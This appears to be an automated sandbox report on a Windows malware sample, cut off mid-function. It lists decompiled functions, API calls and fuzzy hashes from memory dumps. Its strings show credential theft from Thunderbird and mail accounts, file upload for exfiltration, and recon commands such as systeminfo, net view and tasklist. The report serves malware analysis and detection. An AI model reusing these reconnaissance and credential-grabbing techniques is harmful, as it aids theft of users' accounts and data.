
Uniqueness Score: -1.00%

Function 003D04CC, Relevance: 10.7, APIs: 7, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E003D04CC(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				void _v12;
				intOrPtr _v16;
				int _v24;
				int _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr* _t80;
				intOrPtr _t91;
				void* _t119;
				intOrPtr _t136;
				intOrPtr _t145;
				void* _t148;

				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t119 = __ecx;
				_v8 = __eax;
				_t145 =  *0x3da208; // 0x3dbb20
				 *((char*)(_v8 + 0x210)) = 1;
				_push(_t148);
				_push(0x3d06a5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t148 + 0xffffffe0;
				E003C8700(_v8, __ecx, __ecx, _t145);
				_v16 = _v16 + 4;
				E003C9928(_v8,  &_v28);
				if(E003B7CB4() <  *(_v8 + 0x4c) + _v24) {
					_v24 = E003B7CB4() -  *(_v8 + 0x4c);
				}
				if(E003B7CC0() <  *(_v8 + 0x48) + _v28) {
					_v28 = E003B7CC0() -  *(_v8 + 0x48);
				}
				if(E003B7CA8() > _v28) {
					_v28 = E003B7CA8();
				}
				if(E003B7C9C() > _v16) {
					_v16 = E003B7C9C();
				}
				SetWindowPos(E003CEEB8(_v8), 0xffffffff, _v28, _v24,  *(_v8 + 0x48),  *(_v8 + 0x4c), 0x10);
				if(GetTickCount() -  *((intOrPtr*)(_v8 + 0x214)) > 0xfa && E0038417C(_t119) < 0x64 &&  *0x3d9c8c != 0) {
					SystemParametersInfoA(0x1016, 0,  &_v12, 0);
					if(_v12 != 0) {
						SystemParametersInfoA(0x1018, 0,  &_v12, 0);
						if(_v12 == 0) {
							E003D3720( &_v36);
							if(_v32 <= _v24) {
							}
						}
						 *0x3d9c8c(E003CEEB8(_v8), 0x64,  *0x003D9D94 | 0x00040000);
					}
				}
				_t80 =  *0x3da0b4; // 0x3dbb1c
				_t45 =  *_t80 + 0x30; // 0x0
				E003CC5EC(_v8,  *_t45);
				ShowWindow(E003CEEB8(_v8), 4);
				 *((intOrPtr*)( *_v8 + 0x7c))();
				_pop(_t136);
				 *[fs:eax] = _t136;
				_push(0x3d06ac);
				 *((intOrPtr*)(_v8 + 0x214)) = GetTickCount();
				_t91 = _v8;
				 *((char*)(_t91 + 0x210)) = 0;
				return _t91;
			}

0x003d04da
0x003d04db
0x003d04dc
0x003d04dd
0x003d04de
0x003d04e0
0x003d04e3
0x003d04ec
0x003d04f5
0x003d04f6
0x003d04fb
0x003d04fe
0x003d0506
0x003d050b
0x003d0515
0x003d052c
0x003d053b
0x003d053b
0x003d0550
0x003d055f
0x003d055f
0x003d056c
0x003d0575
0x003d0575
0x003d0582
0x003d058b
0x003d058b
0x003d05b1
0x003d05c9
0x003d05f1
0x003d05fa
0x003d0609
0x003d0612
0x003d0620
0x003d062b
0x003d062b
0x003d062b
0x003d064f
0x003d064f
0x003d05fa
0x003d0655
0x003d065c
0x003d0662
0x003d0672
0x003d067c
0x003d0681
0x003d0684
0x003d0687
0x003d0694
0x003d069a
0x003d069d
0x003d06a4

APIs

SetWindowPos.USER32(00000000,000000FF,?,?,?,?,00000010), ref: 003D05B1
GetTickCount.KERNEL32(00000000,000000FF,?,?,?,?,00000010,00000000,003D06A5), ref: 003D05B6
SystemParametersInfoA.USER32(00001016,00000000,?,00000000), ref: 003D05F1
SystemParametersInfoA.USER32(00001018,00000000,00000000,00000000), ref: 003D0609
AnimateWindow.USER32(00000000,00000064,00000001), ref: 003D064F
ShowWindow.USER32(00000000,00000004), ref: 003D0672

Part of subcall function 003D3720: GetCursorPos.USER32(?), ref: 003D3724

GetTickCount.KERNEL32(003D06AC), ref: 003D068C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountInfoParametersSystemTick$AnimateCursorShow
String ID:
API String ID: 3024527889-0
Opcode ID: e11e94e9b5fc438830ac69f15ee4ed0aa1b5eb1ef5f0c97c16e48422af8a614c
Instruction ID: 84e5e12b6c4ee4abc4743b88debeecb38e42adfc68f980662e2aff3fcb31702c
Opcode Fuzzy Hash: e11e94e9b5fc438830ac69f15ee4ed0aa1b5eb1ef5f0c97c16e48422af8a614c
Instruction Fuzzy Hash: 82513935A00208EFDB12EFA8D986B9EB7F5EB45700F2045A6E540EB355D771EE40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0234E26B, Relevance: 10.6, APIs: 7, Instructions: 125memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,?,?), ref: 0234E2C4
lstrlen.KERNEL32(?,?,?), ref: 0234E2E2
RtlAllocateHeap.NTDLL(00000000,766F59F0,?), ref: 0234E30B
memcpy.NTDLL(00000000,00000000,00000000), ref: 0234E322
HeapFree.KERNEL32(00000000,00000000), ref: 0234E335
memcpy.NTDLL(00000000,?,?), ref: 0234E344
HeapFree.KERNEL32(00000000,00000000,?), ref: 0234E3A8

Part of subcall function 0235D0F7: RtlLeaveCriticalSection.NTDLL(00000000), ref: 0235D174

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Freelstrlenmemcpy$AllocateCriticalLeaveSection
String ID:
API String ID: 1635816815-0
Opcode ID: f05e0e2db0cd9e973f84127562cc17e2a4f359c5d8f0899e1985904bea223b11
Instruction ID: 4b4349b36c7e3d8e457225cd153f4c983c90c630cf1ed81129e907bac76960f1
Opcode Fuzzy Hash: f05e0e2db0cd9e973f84127562cc17e2a4f359c5d8f0899e1985904bea223b11
Instruction Fuzzy Hash: A7417E71900228AFCF22AFA4CC48B9E7BE9FF04358F1585A5E905AB160CB71E950DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02347A0F, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 02347A1F
StrChrA.SHLWAPI(00000000,00000020), ref: 02347A30

Part of subcall function 0234672E: lstrlen.KERNEL32(?,?,00000000,0236182F,02341093,?,?,?,00000000,?,?,?,?), ref: 02346737
Part of subcall function 0234672E: memcpy.NTDLL(00000000,00000000,00000000,00000001,?,?,00000000,?,?,?,?), ref: 0234675A
Part of subcall function 0234672E: memset.NTDLL ref: 02346769

ExitProcess.KERNEL32 ref: 02347B6D

Part of subcall function 02344001: StrChrA.SHLWAPI(?,?), ref: 02344027
Part of subcall function 02344001: StrTrimA.SHLWAPI(?,02363530), ref: 02344046
Part of subcall function 02344001: StrChrA.SHLWAPI(?,?), ref: 02344057
Part of subcall function 02344001: StrTrimA.SHLWAPI(00000001,02363530), ref: 02344069

lstrcmp.KERNEL32(-0000000C,mail), ref: 02347A8D

Part of subcall function 02359B00: FindFirstFileW.KERNEL32(?,?,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02359B7E
Part of subcall function 02359B00: lstrlenW.KERNEL32(?), ref: 02359B9A
Part of subcall function 02359B00: lstrlenW.KERNEL32(?), ref: 02359BB2
Part of subcall function 02359B00: lstrcpyW.KERNEL32(00000000,?), ref: 02359BCB
Part of subcall function 02359B00: lstrcpyW.KERNEL32(00000002), ref: 02359BE0
Part of subcall function 02359B00: FindNextFileW.KERNEL32(?,00000010), ref: 02359C08
Part of subcall function 02359B00: FindClose.KERNEL32(00000002), ref: 02359C16
Part of subcall function 02359B00: FreeLibrary.KERNEL32(?), ref: 02359C28

Part of subcall function 0235299E: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 023529BD
Part of subcall function 0235299E: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 023529FB

Strings

mail, xrefs: 02347A86
/C pause dll, xrefs: 02347A3E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Findlstrlen$FileFreeHeapTrimlstrcpy$AllocateCloseCommandExitFirstLibraryLineNextProcesslstrcmpmemcpymemset
String ID: /C pause dll$mail
API String ID: 3668845731-3657633402
Opcode ID: ca81caeb99719baf24137822eb9b02d530accef9aa7ed3b9327a94fa4876e58c
Instruction ID: fa4ade3c54c26ad2f69d49daa9b2231dd7003e983d885c32c283dce0f47e01ac
Opcode Fuzzy Hash: ca81caeb99719baf24137822eb9b02d530accef9aa7ed3b9327a94fa4876e58c
Instruction Fuzzy Hash: B8413971904301AFD720EF71DC8896BB7EEEB84354F1089AEF595D2150DF31E9188A52

Uniqueness

Uniqueness Score: -1.00%

Function 0234421D, Relevance: 10.6, APIs: 7, Instructions: 121threadstringCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0234425E
GetWindowThreadProcessId.USER32(00000000,?), ref: 0234428C
GetWindowThreadProcessId.USER32(?,?), ref: 023442D1
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 023442F9
_strupr.NTDLL ref: 02344324
lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000104), ref: 02344331
CloseHandle.KERNEL32(00000000), ref: 02344346

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ProcessThread$Window$CloseCurrentHandleOpen_struprlstrlen
String ID:
API String ID: 3831658075-0
Opcode ID: acd1de9cf691f2dd3d9f9082f588ebf99fa6f084ea3b65e17432d56433aa5463
Instruction ID: 26469c94103475e63080716867589ca6127b31a849124e173be3e5777f256595
Opcode Fuzzy Hash: acd1de9cf691f2dd3d9f9082f588ebf99fa6f084ea3b65e17432d56433aa5463
Instruction Fuzzy Hash: E3413C71C40219FBDF219FA5DC49BDEBBBDEF08B05F1084AAE611A2150DB749A50CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0235FBBC, Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FBDE
lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FBEF
lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FC01
lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FC13
lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FC25
lstrlenW.KERNEL32(?,00000000,02366000,02361839), ref: 0235FC31

Strings

type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s, xrefs: 0235FCB4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen
String ID: type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
API String ID: 1659193697-1056788794
Opcode ID: b73a88ed9ee42962da307426186379a3946abbaab63c8a838cc3b3515f804c1a
Instruction ID: 53e24f9211150d6537a248c1c93668170c9dc72092e1129923801df870d65f15
Opcode Fuzzy Hash: b73a88ed9ee42962da307426186379a3946abbaab63c8a838cc3b3515f804c1a
Instruction Fuzzy Hash: 01415071E00619AFCB24DFA9C884E6EF7FAFF88204B14887DD919E3A01D774E9448B50

Uniqueness

Uniqueness Score: -1.00%

Function 0234AE97, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 95memorystringCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000007), ref: 0234AF19
lstrcpy.KERNEL32(00000000,grabs=), ref: 0234AF2B
lstrcpyn.KERNEL32(00000006,?,00000001,?,?,?,?,?,00000000,00000000,?), ref: 0234AF38
lstrlen.KERNEL32(grabs=,?,?,?,?,?,00000000,00000000,?), ref: 0234AF4A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234AF7B

Strings

grabs=, xrefs: 0234AF25, 0234AF45

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreelstrcpylstrcpynlstrlen
String ID: grabs=
API String ID: 2734445380-3012740322
Opcode ID: fd7ce44f24d311a62617e138097265001d95da294a800ccba3d0435429c07206
Instruction ID: 40b00b1aa1f494a42d1ad9f4dcd40161cdd2ff19b7547009eb62f3da27a13518
Opcode Fuzzy Hash: fd7ce44f24d311a62617e138097265001d95da294a800ccba3d0435429c07206
Instruction Fuzzy Hash: 34316CB2940208FFDB11DF95DC89EEE7BBDEF44754F008568F91596200EB74AA25CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003B8240, Relevance: 10.6, APIs: 7, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E003B8240(void* __eax, void* __ebx, void* __ecx, void* __edi) {
				char _v5;
				struct tagLOGFONTA _v65;
				struct tagLOGFONTA _v185;
				struct tagLOGFONTA _v245;
				void _v405;
				intOrPtr _t38;
				intOrPtr _t52;
				intOrPtr _t54;
				void* _t57;
				void* _t72;
				void* _t74;
				void* _t75;
				intOrPtr _t76;

				_t72 = __edi;
				_t74 = _t75;
				_t76 = _t75 + 0xfffffe6c;
				_t57 = __eax;
				_v5 = 0;
				if( *0x3dbb1c != 0) {
					_t54 =  *0x3dbb1c; // 0x2141868
					_t2 = _t54 + 0x88; // 0x1
					_v5 =  *_t2;
				}
				_push(_t74);
				_push(0x3b8385);
				_push( *[fs:eax]);
				 *[fs:eax] = _t76;
				if( *0x3dbb1c != 0) {
					_t52 =  *0x3dbb1c; // 0x2141868
					E003BA5AC(_t52, 0);
				}
				if(SystemParametersInfoA(0x1f, 0x3c,  &_v65, 0) == 0) {
					E0039FAD4( *((intOrPtr*)(_t57 + 0x84)), GetStockObject(0xd), _t72);
				} else {
					E0039FAD4( *((intOrPtr*)(_t57 + 0x84)), CreateFontIndirectA( &_v65), _t72);
				}
				_v405 = 0x154;
				if(SystemParametersInfoA(0x29, 0,  &_v405, 0) == 0) {
					E0039FBB8( *((intOrPtr*)(_t57 + 0x80)), 8);
					E0039FAD4( *((intOrPtr*)(_t57 + 0x88)), GetStockObject(0xd), _t72);
				} else {
					E0039FAD4( *((intOrPtr*)(_t57 + 0x80)), CreateFontIndirectA( &_v185), _t72);
					E0039FAD4( *((intOrPtr*)(_t57 + 0x88)), CreateFontIndirectA( &_v245), _t72);
				}
				E0039F918( *((intOrPtr*)(_t57 + 0x80)), 0xff000017);
				E0039F918( *((intOrPtr*)(_t57 + 0x88)), 0xff000007);
				 *[fs:eax] = 0xff000007;
				_push(0x3b838c);
				if( *0x3dbb1c != 0) {
					_t38 =  *0x3dbb1c; // 0x2141868
					return E003BA5AC(_t38, _v5);
				}
				return 0;
			}

0x003b8240
0x003b8241
0x003b8243
0x003b824a
0x003b824c
0x003b8257
0x003b8259
0x003b825e
0x003b8264
0x003b8264
0x003b8269
0x003b826a
0x003b826f
0x003b8272
0x003b827c
0x003b8280
0x003b8285
0x003b8285
0x003b829b
0x003b82c4
0x003b829d
0x003b82ae
0x003b82ae
0x003b82c9
0x003b82e7
0x003b8328
0x003b833c
0x003b82e9
0x003b82fd
0x003b8316
0x003b8316
0x003b834c
0x003b835c
0x003b8366
0x003b8369
0x003b8375
0x003b837a
0x00000000
0x003b837f
0x003b8384

APIs

SystemParametersInfoA.USER32(0000001F,0000003C,?,00000000), ref: 003B8294
CreateFontIndirectA.GDI32(?), ref: 003B82A1
GetStockObject.GDI32(0000000D), ref: 003B82B7

Part of subcall function 0039FBB8: MulDiv.KERNEL32 ref: 0039FBC5

SystemParametersInfoA.USER32(00000029,00000000,00000154,00000000), ref: 003B82E0
CreateFontIndirectA.GDI32(?), ref: 003B82F0
CreateFontIndirectA.GDI32(?), ref: 003B8309
GetStockObject.GDI32(0000000D), ref: 003B832F

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFontIndirect$InfoObjectParametersStockSystem
String ID:
API String ID: 2891467149-0
Opcode ID: 12a5b7c261084cf9082c6947b5b9794b66b3498b74b738091ab25a74fe3d2743
Instruction ID: c2713588a059d138247c6f582b9023700358ab71e21a4993b23ffcd941e84f62
Opcode Fuzzy Hash: 12a5b7c261084cf9082c6947b5b9794b66b3498b74b738091ab25a74fe3d2743
Instruction Fuzzy Hash: 0A3141347046449FDB52FB64DC42BDA73E8AB44704F5580B2BA4CDF6A6DF709909CB21

Uniqueness

Uniqueness Score: -1.00%

Function 02356121, Relevance: 10.6, APIs: 7, Instructions: 89memorystringpipeCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02341889,00000000,?,?,?,?,02341889,00000126,00000000,?,00000000), ref: 02356151
RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 02356167
memcpy.NTDLL(00000010,02341889,00000000,?,?,02341889,00000126,00000000), ref: 0235619D
memcpy.NTDLL(00000010,00000000,00000126,?,?,02341889,00000126), ref: 023561B8
CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000119,00000001), ref: 023561D6
GetLastError.KERNEL32(?,?,02341889,00000126), ref: 023561E0
HeapFree.KERNEL32(00000000,00000000), ref: 02356206

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heapmemcpy$AllocateCallErrorFreeLastNamedPipelstrlen
String ID:
API String ID: 2237239663-0
Opcode ID: e4de26765f23fb97903c87d4f2b0b7c5a5a5e297dd69eec4a5a8f64e7bc12f84
Instruction ID: 1bc8cd86c3826edcfec259f7dd09698cc3d5f2656b30b89800479b18b596b5c7
Opcode Fuzzy Hash: e4de26765f23fb97903c87d4f2b0b7c5a5a5e297dd69eec4a5a8f64e7bc12f84
Instruction Fuzzy Hash: FA317FB5D00219AFDB208F65D849EABBBBCEB04754F008825FD5A92241D3319A69CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02345FB2, Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

HeapFree.KERNEL32(00000000,00000000,reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >), ref: 02346088

Strings

tasklist.exe /SVC >, xrefs: 02346020
nslookup 127.0.0.1 >, xrefs: 0234600A
net view >, xrefs: 02345FF4
driverquery.exe >, xrefs: 02346036
systeminfo.exe , xrefs: 02345FD5
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >, xrefs: 0234604C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Temp$FilePathTime$CurrentFreeHeapNameSystemThreadlstrcpy
String ID: driverquery.exe >$net view >$nslookup 127.0.0.1 >$reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >$systeminfo.exe $tasklist.exe /SVC >
API String ID: 3485239229-3676109661
Opcode ID: 988a6d75f661c9d21a9ea6f857f3cadc71a4e455ff2382f07c0537f0ba3cdc9c
Instruction ID: acc7f796e1712005c4a15300855819423ef60a7d24926a5e7e8d469d7ba869b7
Opcode Fuzzy Hash: 988a6d75f661c9d21a9ea6f857f3cadc71a4e455ff2382f07c0537f0ba3cdc9c
Instruction Fuzzy Hash: 0F110233D457B26796312D698C8AD2BB9ED8A83F9870B43A4FD246B244DF41BC0049E2

Uniqueness

Uniqueness Score: -1.00%

Function 02351AD1, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 023575F4: RtlEnterCriticalSection.NTDLL(P)(), ref: 023575FC
Part of subcall function 023575F4: RtlLeaveCriticalSection.NTDLL(P)(), ref: 02357611
Part of subcall function 023575F4: InterlockedIncrement.KERNEL32(0000001C), ref: 0235762A

RtlAllocateHeap.NTDLL(00000000,?,Blocked), ref: 02351B01
memcpy.NTDLL(00000000,?,?,?,00000000,?,?,?,?,?,?,?,0235109D,?,00000000), ref: 02351B12
lstrcmpi.KERNEL32(00000002,?), ref: 02351B58
memcpy.NTDLL(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,0235109D,?,00000000), ref: 02351B6C
HeapFree.KERNEL32(00000000,00000000,Blocked), ref: 02351BAB

Strings

Blocked, xrefs: 02351ADA, 02351B8F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalHeapSectionmemcpy$AllocateEnterFreeIncrementInterlockedLeavelstrcmpi
String ID: Blocked
API String ID: 733514052-367579676
Opcode ID: 2f08e2668823946122fb5827cc90d60460a2097db3272f8609587f0f46dc9be9
Instruction ID: 9ba82a238baebb9ae3c6498ca61c911bddf1f288b16e650679d9b7c7f9d77c94
Opcode Fuzzy Hash: 2f08e2668823946122fb5827cc90d60460a2097db3272f8609587f0f46dc9be9
Instruction Fuzzy Hash: 0F2180B1A40628BFDB119FA8DC88F9EBBBDEB04754F108469ED49A2200E7759954CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02348275, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memorytimeCOMMON

Download Yara Rule

APIs

Part of subcall function 02357457: lstrlen.KERNEL32(00000000,00000000,?,00000000,02354CA8,00000000,00000000,?,?,?,023413F9,?,?,00000000), ref: 02357463

RtlEnterCriticalSection.NTDLL(P)(), ref: 0234829F
RtlLeaveCriticalSection.NTDLL(P)(), ref: 023482B2
GetSystemTimeAsFileTime.KERNEL32(?,?,0236710C), ref: 023482C3
RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 0234832E
InterlockedIncrement.KERNEL32(023673BC), ref: 02348345

Strings

P)(, xrefs: 02348299, 0234829E, 023482B1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSectionTime$AllocateEnterFileHeapIncrementInterlockedLeaveSystemlstrlen
String ID: P)(
API String ID: 3915436794-3792617651
Opcode ID: 6d324f799f088fbfca36234e080323d51cc7fc152c620963530a577d77ae2c78
Instruction ID: c43b6394cd240eb7adf19d9e8a9e618415c681c0b9b5c12c0b6f0113a169fe3c
Opcode Fuzzy Hash: 6d324f799f088fbfca36234e080323d51cc7fc152c620963530a577d77ae2c78
Instruction Fuzzy Hash: D531DA76A407019FC721CF68C848A2AFBECFB44368F148999ED5683250DB30E825CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0234916E, Relevance: 10.6, APIs: 7, Instructions: 82stringfileCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000000), ref: 02349186
lstrcmpiW.KERNEL32(00000000,0065002E), ref: 023491BD
lstrcmpiW.KERNEL32(?,0064002E), ref: 023491D2
lstrlenW.KERNEL32(?), ref: 023491D9
CloseHandle.KERNEL32(?), ref: 02349201
DeleteFileW.KERNEL32(?,?,?,?,?,?), ref: 0234922D
RtlLeaveCriticalSection.NTDLL(00000000), ref: 0234924A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSectionlstrcmpi$CloseDeleteEnterFileHandleLeavelstrlen
String ID:
API String ID: 1496873005-0
Opcode ID: 369e90ede79a3dfb6139c0323f4b3c587aba7bc4467dda8defcccc1f7f47ed86
Instruction ID: a5ebe53755b8f027bad3e62a5d354e636ed51b25fa0362611a5b51ab40413857
Opcode Fuzzy Hash: 369e90ede79a3dfb6139c0323f4b3c587aba7bc4467dda8defcccc1f7f47ed86
Instruction Fuzzy Hash: 3A2130B5910209BFDB209FB5DD88F6B77FDEF04744F0444A9E906D2141EB34E9558B60

Uniqueness

Uniqueness Score: -1.00%

Function 02347CD3, Relevance: 10.6, APIs: 7, Instructions: 76memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02359AD7,00000000,023673A0,023673C0,?,?,02359AD7,0235D5F2,023673A0), ref: 02347CE3
RtlAllocateHeap.NTDLL(00000000,00000002), ref: 02347CF9
lstrlen.KERNEL32(0235D5F2,?,?,02359AD7,0235D5F2,023673A0), ref: 02347D01
RtlAllocateHeap.NTDLL(00000000,00000001), ref: 02347D0D
lstrcpy.KERNEL32(023673A0,02359AD7), ref: 02347D23
HeapFree.KERNEL32(00000000,00000000), ref: 02347D77
HeapFree.KERNEL32(00000000,023673A0), ref: 02347D86

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreelstrlen$lstrcpy
String ID:
API String ID: 1531811622-0
Opcode ID: f3398e93b6b7dc6f01116f47bd9074dd7526ef13771e061ef7518362a3199b4c
Instruction ID: 09e7b3d6736990525881d47ae29e072acea9984a9dc6b8cc39a0a8cda2d8d272
Opcode Fuzzy Hash: f3398e93b6b7dc6f01116f47bd9074dd7526ef13771e061ef7518362a3199b4c
Instruction Fuzzy Hash: 06210771944344BFEB224F28DC48F76BFAEEF46744F04809AE88557291CB31A826CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0235D39D, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,766F1499,00000000,00000000,?,?,?,?,?,?), ref: 0235D3BD

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

wsprintfA.USER32 ref: 0235D3E7

Part of subcall function 0234F3E6: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,0235AC16), ref: 0234F3FC
Part of subcall function 0234F3E6: wsprintfA.USER32 ref: 0234F424
Part of subcall function 0234F3E6: lstrlen.KERNEL32(?), ref: 0234F433
Part of subcall function 0234F3E6: wsprintfA.USER32 ref: 0234F473
Part of subcall function 0234F3E6: wsprintfA.USER32 ref: 0234F4A8
Part of subcall function 0234F3E6: memcpy.NTDLL(00000000,?,?), ref: 0234F4B5
Part of subcall function 0234F3E6: memcpy.NTDLL(00000008,023633F4,00000002,00000000,?,?), ref: 0234F4CA
Part of subcall function 0234F3E6: wsprintfA.USER32 ref: 0234F4ED

HeapFree.KERNEL32(00000000,?,?), ref: 0235D45C

Part of subcall function 02360DDF: RtlEnterCriticalSection.NTDLL(04908F48), ref: 02360DF5
Part of subcall function 02360DDF: RtlLeaveCriticalSection.NTDLL(04908F48), ref: 02360E10

HeapFree.KERNEL32(00000000,?,?), ref: 0235D444
HeapFree.KERNEL32(00000000,?), ref: 0235D450

Strings

Content-Type: application/octet-stream, xrefs: 0235D3D9
Content-Disposition: form-data; name="upload_file"; filename="%s", xrefs: 0235D3E1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$Heap$Free$CriticalSectionTimelstrlenmemcpy$AllocateEnterFileLeaveSystem
String ID: Content-Disposition: form-data; name="upload_file"; filename="%s"$Content-Type: application/octet-stream
API String ID: 3553201432-2405033784
Opcode ID: 339fd7e7709e7d2580d880f2ebab1c681c52319dbaeb1f2076f0a22c555acbb7
Instruction ID: 07030c6fa8b82650bec24e099509a93ca7932d100abe548c46bb9335dfc8edaf
Opcode Fuzzy Hash: 339fd7e7709e7d2580d880f2ebab1c681c52319dbaeb1f2076f0a22c555acbb7
Instruction Fuzzy Hash: 762122B6940259BBCF119F95DC49C9EBFBDFB48704F008816FA15A6110D771AA60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003D0808, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E003D0808(void* __eax) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t14;
				intOrPtr* _t17;
				intOrPtr _t19;
				intOrPtr* _t21;
				intOrPtr* _t26;
				intOrPtr _t37;
				void* _t39;
				intOrPtr _t47;
				void* _t49;
